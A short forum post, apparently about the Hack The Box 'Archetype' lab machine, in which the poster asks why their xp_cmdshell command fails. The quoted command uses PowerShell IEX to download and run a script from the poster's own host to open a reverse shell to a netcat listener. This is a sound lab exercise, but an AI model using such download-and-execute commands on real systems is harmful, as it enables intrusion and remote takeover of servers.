Archetype HTB BOW Powershell Error

When i type this command To get reverse shell I get this following error:

SQL> xp_cmdshell “powershell “IEX (New-Object Net.WebClient).DownloadString(\”http://10.10.15.171/shell1.ps1\");"
output                                                                             

--------------------------------------------------------------------------------   

'"powershell' is not recognized as an internal or external command,                

operable program or batch file.                                                    

NULL                                                                               

SQL> 

I’m at the SQL part where I have to get reverse shell while nc is listening